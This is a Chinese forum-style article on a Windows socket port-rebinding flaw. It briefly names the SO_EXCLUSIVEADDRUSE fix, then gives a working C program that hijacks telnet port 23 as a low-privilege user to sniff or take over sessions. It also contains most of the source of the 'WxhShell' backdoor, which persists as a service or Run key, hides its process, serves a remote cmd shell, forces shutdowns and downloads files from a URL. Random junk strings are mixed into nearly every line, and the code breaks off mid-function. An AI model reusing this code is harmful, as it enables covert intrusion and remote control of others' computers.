在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
M5357Q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
RE2&mYt 6w8">~)Z saddr.sin_family = AF_INET;
Yr.sm!xA ^TY;Zp saddr.sin_addr.s_addr = htonl(INADDR_ANY);
rwLAW"0Qz B;>{0
s bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
46@{5)Tq : 18KR*;p 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
!9Z r;K~\ m0n)dje 这意味着什么?意味着可以进行如下的攻击:
r0;:t -a,-J]d0+ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
"TyJP[/ u$#Wv2| mk 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
q[q?hQ/b a' Ki;]q 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
}je,")#W S-Y=-" 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
~}EMk 3 \wcam`f 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
.IBp\7W!?E 'rp }G&m 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
^&@w$ vX0f,y 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
nRL. ppUI x+ncc_2n&D #include
_.IxRk)T #include
gI^oU4mq #include
BS Iy+ #include
%,Sf1fUJ DWORD WINAPI ClientThread(LPVOID lpParam);
F:@70(<w% int main()
3$.deYa$R {
0R{dNyh{ WORD wVersionRequested;
('wY9kvL& DWORD ret;
&qpr*17T WSADATA wsaData;
1tTgP+ BOOL val;
(~CLn;' SOCKADDR_IN saddr;
AjcX N SOCKADDR_IN scaddr;
MYJg8 '[j int err;
@SZM82qU2z SOCKET s;
{^(ACS9mL SOCKET sc;
?0?
R int caddsize;
Q_* "SRz HANDLE mt;
NH$r
Z7$ DWORD tid;
\^ghdU wVersionRequested = MAKEWORD( 2, 2 );
Dd;Nz err = WSAStartup( wVersionRequested, &wsaData );
JlMT<;7\ if ( err != 0 ) {
#e'
}.4cr printf("error!WSAStartup failed!\n");
]f+ csB return -1;
p' M%XBu }
I2nF-JzD2a saddr.sin_family = AF_INET;
3vcO!6Z5 t`*! w|}(1 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
.CL^BiD.D ee%fqVQ8P saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
I}Nd$P)> saddr.sin_port = htons(23);
_ZY)M if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
hX`}Q4(k {
C<KrMRWh^ printf("error!socket failed!\n");
dJT]/g return -1;
O3TQixE }
@d Jr/6Yx val = TRUE;
nJ~drG}TD //SO_REUSEADDR选项就是可以实现端口重绑定的
;"(foY"L if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
Wu4Lxv]B4 {
?5_7;Ha printf("error!setsockopt failed!\n");
t]7&\ihZi~ return -1;
4`JH&))} }
n1!?"m! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
*OuStr \o //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
)Ke*JJaq //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
foJdu+^ ,9WBTH8 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
626Z5Afg {
^Z~;4il_F ret=GetLastError();
A.hd
Kl printf("error!bind failed!\n");
1V8-^ return -1;
{?'fyEeg }
h/~n\0,J/ listen(s,2);
N[k wO1 while(1)
?LvCR_D: {
zZVfj:i8 caddsize = sizeof(scaddr);
xg)v0y~ //接受连接请求
E<yW\ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
p.LFVFPT if(sc!=INVALID_SOCKET)
v\p;SwI {
]`Oo%$Ue mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
M5xCC! if(mt==NULL)
2W4qBaG$= {
@)Ofi j printf("Thread Creat Failed!\n");
jBegh9KHq break;
>JiltF7H0 }
sQMFpIrr }
DGzw8|/( CloseHandle(mt);
,3@#F/c3i~ }
In`mtn q closesocket(s);
FJ asS8 WSACleanup();
*Z|y'<s return 0;
y@\V+ }
Yo[;W
vu DWORD WINAPI ClientThread(LPVOID lpParam)
qWmQ-|Py {
"~D]E7Q3y SOCKET ss = (SOCKET)lpParam;
r$2P;Cxj SOCKET sc;
AhZ8 0! unsigned char buf[4096];
cReB~wk SOCKADDR_IN saddr;
Mbb x` long num;
33!oS&L DWORD val;
o7|eMe?<t DWORD ret;
8MSC.0 //如果是隐藏端口应用的话,可以在此处加一些判断
trAkcYd //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
<:?r:fQX saddr.sin_family = AF_INET;
br|;'i%( saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
-|E!e.^7: saddr.sin_port = htons(23);
OoWyPdC+P if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
.k,kTr$S {
)I3NeKWz printf("error!socket failed!\n");
?Wz8[u return -1;
R~Ne|V2 }
\EVBwE, val = 100;
U\Z?taXB if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
qHxqQ'ks; {
y\a1iy ret = GetLastError();
je!-J8{ return -1;
daYx76yP_? }
@HOBRRm` if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
~JaAii{ {
%Ah^E$&n2 ret = GetLastError();
ra
o[VZ return -1;
V3"=w&2]K }
5=f|7yl if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
KN* {
eM+!Y>8Y printf("error!socket connect failed!\n");
dH-s2r%s closesocket(sc);
0(S"{Ov closesocket(ss);
?]*^xL;x? return -1;
&uO%_6J }
x@*SEa while(1)
-]QD|w3dp {
HaP}Y:p //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
WVI{oso# //如果是嗅探内容的话,可以再此处进行内容分析和记录
ho$+L //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
bua+I;b num = recv(ss,buf,4096,0);
gM
_hi if(num>0)
]wtb-PC send(sc,buf,num,0);
QDu 2?EYZq else if(num==0)
o#skR4lwe break;
Rb.SY{}C num = recv(sc,buf,4096,0);
g[3)P+ if(num>0)
9^j &VmF send(ss,buf,num,0);
!P-^O else if(num==0)
IP(Vr7-v break;
L|,!?cSAT }
~P@Q7T* closesocket(ss);
ypy68_xyW closesocket(sc);
PS[+~>% return 0 ;
mFi&YpHu3 }
;dJ1 o|$AyS{1 :$n=$C-wp ==========================================================
#E&80#Z5 {j7uv"|X7 下边附上一个代码,,WXhSHELL
A -b
[>}_ *m#Za<_Gv ==========================================================
uH(f$A s{$(*_ #include "stdafx.h"
D ^x-^6^ w/kt3Lw #include <stdio.h>
](s'L8(x #include <string.h>
6*3.SGUY #include <windows.h>
RS^lKJ1 U #include <winsock2.h>
L>3x9 #include <winsvc.h>
hy`?E6=9+ #include <urlmon.h>
^3UGV*Ypk `tn{ei #pragma comment (lib, "Ws2_32.lib")
>Vwc3d #pragma comment (lib, "urlmon.lib")
hK_LEwd; <?@NRFTe #define MAX_USER 100 // 最大客户端连接数
3h *!V6%q #define BUF_SOCK 200 // sock buffer
@WVcY:1t# #define KEY_BUFF 255 // 输入 buffer
/@,j232 ]4pkcV
P #define REBOOT 0 // 重启
@CT;g\4 #define SHUTDOWN 1 // 关机
FGoy8+nB1M _iir<} #define DEF_PORT 5000 // 监听端口
zlEX+=3 j!7{|EQFcl #define REG_LEN 16 // 注册表键长度
t$De/Uq #define SVC_LEN 80 // NT服务名长度
0DJ+I fP(d8xTx2y // 从dll定义API
m+Rv+_R typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
K[!&b0O typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
[_Qa9e typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
@]ytla>d typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
=_:et0 d%o&+l# // wxhshell配置信息
<kx&w(= struct WSCFG {
* iF]n2g: int ws_port; // 监听端口
|v$JCU3!A char ws_passstr[REG_LEN]; // 口令
JW3B'_0 int ws_autoins; // 安装标记, 1=yes 0=no
HlH64w2^R char ws_regname[REG_LEN]; // 注册表键名
%*L:sTj( char ws_svcname[REG_LEN]; // 服务名
G{6;>8h char ws_svcdisp[SVC_LEN]; // 服务显示名
Qx+%"YO char ws_svcdesc[SVC_LEN]; // 服务描述信息
[x,>?~6ek char ws_passmsg[SVC_LEN]; // 密码输入提示信息
:R~MO& int ws_downexe; // 下载执行标记, 1=yes 0=no
k@z,Iq8 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
Yj6*NZ* char ws_filenam[SVC_LEN]; // 下载后保存的文件名
njWL U! 0Nnsjh };
1q,{0s_kp 23DiW#o' // default Wxhshell configuration
OUhqMVX9C struct WSCFG wscfg={DEF_PORT,
Kq;8=xP[ "xuhuanlingzhe",
_Nqt21sL 1,
/K.!sQ$ "Wxhshell",
"-+\R}q$ "Wxhshell",
4#:W.]U8 "WxhShell Service",
;{U@qQD7 "Wrsky Windows CmdShell Service",
]3X@_NYj "Please Input Your Password: ",
oyYR-4m\ 1,
-(~!Jo_*' "
http://www.wrsky.com/wxhshell.exe",
,uSQNre\j "Wxhshell.exe"
-@0GcUE:r };
*U
P@9D EV*IoE$W]= // 消息定义模块
d%V*|0c) char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
tF{D= ;G char *msg_ws_prompt="\n\r? for help\n\r#>";
k\NMy#]Zt char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
IX>d`O61*g char *msg_ws_ext="\n\rExit.";
\uaJ@{Vug char *msg_ws_end="\n\rQuit.";
yrC7F`. char *msg_ws_boot="\n\rReboot...";
v~@pMA$(h char *msg_ws_poff="\n\rShutdown...";
V{:A3C41 char *msg_ws_down="\n\rSave to ";
TX&Jt% xUa{1!Y8 char *msg_ws_err="\n\rErr!";
YLiSbLz1 char *msg_ws_ok="\n\rOK!";
4\4FolsK lXjXqk\ char ExeFile[MAX_PATH];
]Ccg`AR{ int nUser = 0;
4UW_Do HANDLE handles[MAX_USER];
#0y)U;dA+w int OsIsNt;
\cUC9/
b VB,?Mo}R SERVICE_STATUS serviceStatus;
4}eepJOn SERVICE_STATUS_HANDLE hServiceStatusHandle;
qa0 yg8,< $>u*}X9 // 函数声明
{z")7g ]l int Install(void);
=9fajRFTt int Uninstall(void);
f
(F)1 int DownloadFile(char *sURL, SOCKET wsh);
".<DAs j int Boot(int flag);
aPm`^
q void HideProc(void);
,v';>.] int GetOsVer(void);
&GB:|I'%7 int Wxhshell(SOCKET wsl);
WRrd'{sB void TalkWithClient(void *cs);
vJ-q*qM1 int CmdShell(SOCKET sock);
k{Me[B int StartFromService(void);
>o7n+Rb: int StartWxhshell(LPSTR lpCmdLine);
29?,<bB) 3tZ]4ms} VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
,^eYlmT>6 VOID WINAPI NTServiceHandler( DWORD fdwControl );
VrxQc qPr` 2-C!jAfd // 数据结构和表定义
|~X ;1j! SERVICE_TABLE_ENTRY DispatchTable[] =
L;'"A#Pa {
]y1OFKYv {wscfg.ws_svcname, NTServiceMain},
(4dhuT {NULL, NULL}
TwVlg; };
cM$P`{QrM 8>WC5%f* // 自我安装
dAkgR~ int Install(void)
@jsDq
Ln {
enSXP~9w char svExeFile[MAX_PATH];
8(~K~q[Cr HKEY key;
zhpt%7So strcpy(svExeFile,ExeFile);
Cif>7]M _U
|>b> // 如果是win9x系统,修改注册表设为自启动
o .qf _A if(!OsIsNt) {
^7 &5
z&o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
Ipq"E RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
uFPF!Ern RegCloseKey(key);
8p@Piy{p if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
[g:$K5\64 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/M3Y~l$ RegCloseKey(key);
/qy-qUh3h return 0;
(tZrw5@ }
/.o^R6 }
5
({t4dm }
.MJofE;Jn else {
9&_<f}ou (<}&DE // 如果是NT以上系统,安装为系统服务
/q5v"iX]T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
/$'AjIg4:& if (schSCManager!=0)
3~S8!nx {
EioB%f3 SC_HANDLE schService = CreateService
9&` 2V (
b/{t|io{ schSCManager,
*22nVKi{ wscfg.ws_svcname,
hR
Ue<0o: wscfg.ws_svcdisp,
[5+}rwm&W SERVICE_ALL_ACCESS,
a+!tT!g&I SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
7lBAxqr2 SERVICE_AUTO_START,
.QN>z-YA6: SERVICE_ERROR_NORMAL,
pnbIiyV svExeFile,
wT:b\km:! NULL,
Db1pW=66: NULL,
'{V0M<O NULL,
?Vf o+a, NULL,
nAjO6g6E NULL
[`rba' );
glF; eT if (schService!=0)
Y<Fz)dQo {
{O`w,dMOI CloseServiceHandle(schService);
-Ty*aov CloseServiceHandle(schSCManager);
D~$r\]av strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
al9t^ strcat(svExeFile,wscfg.ws_svcname);
NH<5*I/ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
_q{c##Kf RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
LkK~%tY RegCloseKey(key);
Gq }U|Z return 0;
'-"/ =j&d[ }
j"'(sW- }
6Qy@UfB CloseServiceHandle(schSCManager);
!=:$lzS^ }
UmclTGn }
+i2}/s@JJ yGPS`S return 1;
^]a #7/]o }
P:aJ# "0cID3A$ // 自我卸载
ek}a}.3 { int Uninstall(void)
Wu_kx2h {
9)gC6IiW HKEY key;
:"IE \8 h;K>=h if(!OsIsNt) {
iMP]W_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
^WNrGF RegDeleteValue(key,wscfg.ws_regname);
[ zEUH:9D RegCloseKey(key);
/S(zff[at if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
vbD{N3p)?n RegDeleteValue(key,wscfg.ws_regname);
4y'OMRy RegCloseKey(key);
Wv/%^3 return 0;
(Yis:%c\! }
qycI(5S, }
q~vDz]\G }
nC}6B).el else {
2U:H545]] fI~Xmw+}} SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
Ts ^"xlK if (schSCManager!=0)
P}TI
q# {
mHBnC&-/ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
T<w5vqFDu if (schService!=0)
qAS qscO {
uec!RKE if(DeleteService(schService)!=0) {
uJ5Eka CloseServiceHandle(schService);
m:WyuU< CloseServiceHandle(schSCManager);
Tp_L%F return 0;
KFvQ }
%d(^d CloseServiceHandle(schService);
[zlN!.Z }
=IW?WIXk CloseServiceHandle(schSCManager);
3MY(<TGX }
24 )(5!:" }
Qe}`~a9P Xp8]qH|K return 1;
vL\&6n~M> }
3+G@g#MY 8$ma;U d // 从指定url下载文件
h0g:@ae%& int DownloadFile(char *sURL, SOCKET wsh)
$d)ca9 {
l: <?{)N` HRESULT hr;
[-;_ZFS{ char seps[]= "/";
JNa"8 char *token;
}`v~I4i char *file;
fbL\?S,w char myURL[MAX_PATH];
`^FGwx@ char myFILE[MAX_PATH];
bV$)!]V G1"zElug strcpy(myURL,sURL);
0DmMG token=strtok(myURL,seps);
(h5'9r while(token!=NULL)
G_k~X" {
W81E!RyP` file=token;
OZTPOz. token=strtok(NULL,seps);
l#H#+*F }
])
rrG/3 l-s!A(l GetCurrentDirectory(MAX_PATH,myFILE);
%_{tzXim strcat(myFILE, "\\");
hDcEGU_ strcat(myFILE, file);
vpld*TL* send(wsh,myFILE,strlen(myFILE),0);
'C
~y5j send(wsh,"...",3,0);
L}}y'^( hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
K!'AkTW+- if(hr==S_OK)
C0
/g1;p( return 0;
Z6_N$Z.A else
Ju3*lk/j- return 1;
1QU:?_\6@t <X7FMNr[ }
5K<5kHpvJ{ ni6{pK4Wqm // 系统电源模块
Nv/v$Z{k int Boot(int flag)
y7$iOR {
6C-/`>m HANDLE hToken;
m"fNK$_d TOKEN_PRIVILEGES tkp;
E !a|Xp \yd
s5g!: if(OsIsNt) {
yfx7{naKC` OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
e|p$d:#! LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
USVqB\# tkp.PrivilegeCount = 1;
_=NwQu\_F tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
}p!HT6 tZ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
/u0'
6V if(flag==REBOOT) {
5fm?Lxr&? if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
kIGbG;"_ return 0;
9P~\Mpk }
NLr PSqz else {
OnF3l Cmu if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
IZ=Mlu return 0;
HE'2"t[a }
{iv<w8CU) }
l411a9o else {
O=$~O\}b if(flag==REBOOT) {
n< ud> JIb if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
<HJl2p N return 0;
"=+7-` }
gx&Tt else {
#%D_Y33; if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
t: IN,Kl4 return 0;
FRS>KO=3 }
{2+L@ }
Mnz!nWhk #ssN027 return 1;
3q'&j,,^ }
rc/nFl6# 8:#rA*Y // win9x进程隐藏模块
rN%F)
q# void HideProc(void)
E[*Fz1> {
>2Jdq +=mkCU HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Y;e,Gq` if ( hKernel != NULL )
sz)oZPu| {
']>Mp#j pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
E6,4RuCK ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Ojt`^r !V FreeLibrary(hKernel);
wAz&"rS }
qR8u$2}NY +{/*z return;
Q^q1ns;r }
~",`,ZXQy :{ur{m5bX // 获取操作系统版本
8Y_ol#\L int GetOsVer(void)
Vg>( Y, {
gF0q@M y~ OSVERSIONINFO winfo;
}>'PT- winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
K"0PTWt GetVersionEx(&winfo);
i@B[ eta if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
9{$<0,? return 1;
Pf_S[
sm else
+8#_59;x return 0;
;?6No(/ }
r} P<iX c1_5, 1U' // 客户端句柄模块
;]w<&C!= int Wxhshell(SOCKET wsl)
Udc=,yo3Qm {
4<?8M vF SOCKET wsh;
;i"*Ll>Q) struct sockaddr_in client;
Y)$ ;Ax-D DWORD myID;
#."Hh<C IZm(`b;t^ while(nUser<MAX_USER)
^m/oDB- {
>(<ytn t= int nSize=sizeof(client);
Hsihytdj wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
RKa}$
7 if(wsh==INVALID_SOCKET) return 1;
ZWm8*}3]7_ !TP@-
X; handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
yY&3p1AxW] if(handles[nUser]==0)
R-RDT9&< closesocket(wsh);
rC7``#5 else
2<][%> ' nUser++;
F! X}(N?t }
+E; 2d-x*p WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
sU"}-de cwuO[^S} return 0;
I`w4Xrd }
U|5nNiJM Z1h] // 关闭 socket
PT^c^{V void CloseIt(SOCKET wsh)
AxZD-|. {
@_"9D y Y% closesocket(wsh);
O4g+D#Lu nUser--;
s
(0* ExitThread(0);
1O!/g }
DEw8*MN s%!`kWVJ. // 客户端请求句柄
/% I7Vc void TalkWithClient(void *cs)
%',F {
2~*Ez!.3 /Ux*u# SOCKET wsh=(SOCKET)cs;
6SC,;p= char pwd[SVC_LEN];
a2f^x@0k char cmd[KEY_BUFF];
N6T{ char chr[1];
Pe_!?:vF int i,j;
Pa^A$fy\ $v`afd y while (nUser < MAX_USER) {
`Rdm-[& j6,ZEm if(wscfg.ws_passstr) {
=X!IHd0 if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Qe'g3z> //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
+xXH2b$wWC //ZeroMemory(pwd,KEY_BUFF);
$fpq
3 i=0;
BT_tOEL# while(i<SVC_LEN) {
EQe5JFR aP&D9%5 // 设置超时
c DrebU fd_set FdRead;
npDIX struct timeval TimeOut;
P0i V<T4^ FD_ZERO(&FdRead);
2`a
q**} FD_SET(wsh,&FdRead);
W><dYy=z5 TimeOut.tv_sec=8;
f7hXQ|$ TimeOut.tv_usec=0;
+y#T?!jQYj int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
RkuuogZ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
Y
e+Ay _Hd{sd#xX1 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
,&YTj> pwd
=chr[0]; }sxn72,
if(chr[0]==0xd || chr[0]==0xa) { Vh<A2u3&
pwd=0; *zWWmxcJa
break; .9|uQEL
} l12$l<x&M
i++; (X6sSO
} ~JuKV&&}K
S)A'Y]2X
// 如果是非法用户,关闭 socket H<ZU#U0FZf
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Sg]
J7;]
} S='syq>Aok
O {k:yVb
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "%@uO)A /
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pl V7+?G
\;]kYO}
while(1) { 15zrrU~D
}Uf<ZXW
ZeroMemory(cmd,KEY_BUFF); uD["{?H
*o' 4,+=am
// 自动支持客户端 telnet标准 ecX/K.8l
j=0; !]S=z^"<
while(j<KEY_BUFF) { -qe bQv
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l
SkEuN
cmd[j]=chr[0]; 3^.8.q(6
if(chr[0]==0xa || chr[0]==0xd) { \NX Q
cmd[j]=0; M0-,M/]l
break; QMk+RM8U
} yu
,h\
j++; &!y]:CC{
} OK`Z@X_,bW
!Zbesp KZ
// 下载文件 >sj
bK%
if(strstr(cmd,"http://")) { U&y`-@A4
send(wsh,msg_ws_down,strlen(msg_ws_down),0); RP(/x+V
if(DownloadFile(cmd,wsh)) ewB!IJxh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8,o17}NY,
else 3AlqBXE"Z<
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); MFg'YA2/
} ?Ay3u^X
else { (Q-I8Y8l8
qi+&|80T.
switch(cmd[0]) { Cj&$%sO1
r(}nhU Q%E
// 帮助
'H FK Bp
case '?': { j[P8
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aQcN&UA@
break; kd;'}x=5yP
} Zj-BuE&@f
// 安装 A1*4*
case 'i': { agaq`^[(P
if(Install()) 7CrpUh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); k_3j
'
else qa}>i&uO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 74zSP/G'
break; ,w&:_n
} K!b8= K`
// 卸载 pIVq("&
case 'r': { 64D%_8#m
if(Uninstall()) 4&N$: j<
send(wsh,msg_ws_err,strlen(msg_ws_err),0); IMad$AKc
else n6d^>s9J
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ARx0zI%N
break; JCQ:+eqt
} -NDi5i\
// 显示 wxhshell 所在路径 $o^e:Y,
a
case 'p': { W@B7yP7Rz
char svExeFile[MAX_PATH]; \>)f5 gV@
strcpy(svExeFile,"\n\r"); KtMbze
strcat(svExeFile,ExeFile); 6.Bh3p
send(wsh,svExeFile,strlen(svExeFile),0); @8"18HEp#
break; a{`"68
} <lOaor
c
// 重启 (^H5EeGV{
case 'b': { m1e b8yX
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9bn2UiJk
if(Boot(REBOOT)) ;,0lUcV
send(wsh,msg_ws_err,strlen(msg_ws_err),0); \n@V-b
else { 9Q@*0-
closesocket(wsh); S?,_<GD)w
ExitThread(0); "2mFC!
} feCqbWq:
break; @\~tHJ?hQd
} vbKQ*
// 关机 ?`A9(#ySM
case 'd': { :^G%57NX
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 0VIZ=-e
if(Boot(SHUTDOWN)) k_Tswf3
send(wsh,msg_ws_err,strlen(msg_ws_err),0); <bdyAUeFw
else { 9d"5wx
closesocket(wsh); l^,qO3ES
ExitThread(0); ZT9IMihV
} Qcgu`]7}
break; Wy(pLBmb
} 6_U|(f
// 获取shell n{=7 yK
case 's': { 2 `5=0E1k
CmdShell(wsh); G{A)H_o*
closesocket(wsh); gUGOHd(A
ExitThread(0); S'?fJ.
break; NQ!<f\m4n
} J" bD\%
// 退出 E{gv,cUM
case 'x': { ou;qO
5CT
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); QSmJ`Bm
CloseIt(wsh); `Z8^+AMc
break; 0IFlEe[>#
} BVAr&cu
// 离开 RH=$h! 5
case 'q': { va>"#;37
send(wsh,msg_ws_end,strlen(msg_ws_end),0); L *{QjH
closesocket(wsh); b8cVnP
WSACleanup(); (H[
exit(1); Q)+Y}
break; \[k%)_
} l% |cB93
} (+x]##Q
} \=8=wQv
#gI&lO*\gr
// 提示信息 <Cr8V'c
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L"^.0*X/d
} ~T&%
VvI
} (!ZV9S
*N'hA5.z
return; 'g]=.K+@}
} Q,n4i@E
:K;T Q
// shell模块句柄 zS?n>ElI
int CmdShell(SOCKET sock) #~1wv^
{ yXXvs'$R \
STARTUPINFO si; Q^|6J#o[9
ZeroMemory(&si,sizeof(si)); @9<S*
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; t]r7cA
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; v\'rXy
PROCESS_INFORMATION ProcessInfo; H1C%o0CPY
char cmdline[]="cmd"; Me<du&
T
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 1XGG.+D
return 0; 3!bK d2"
} u&tFb]1@)
+:!ScG*
// 自身启动模式 ~xE=mg4le
int StartFromService(void)
N)P((>S;
{ a!?.F_T9A
typedef struct K@*rVor{
{ +Tp%5+E
DWORD ExitStatus; a(5y>HF
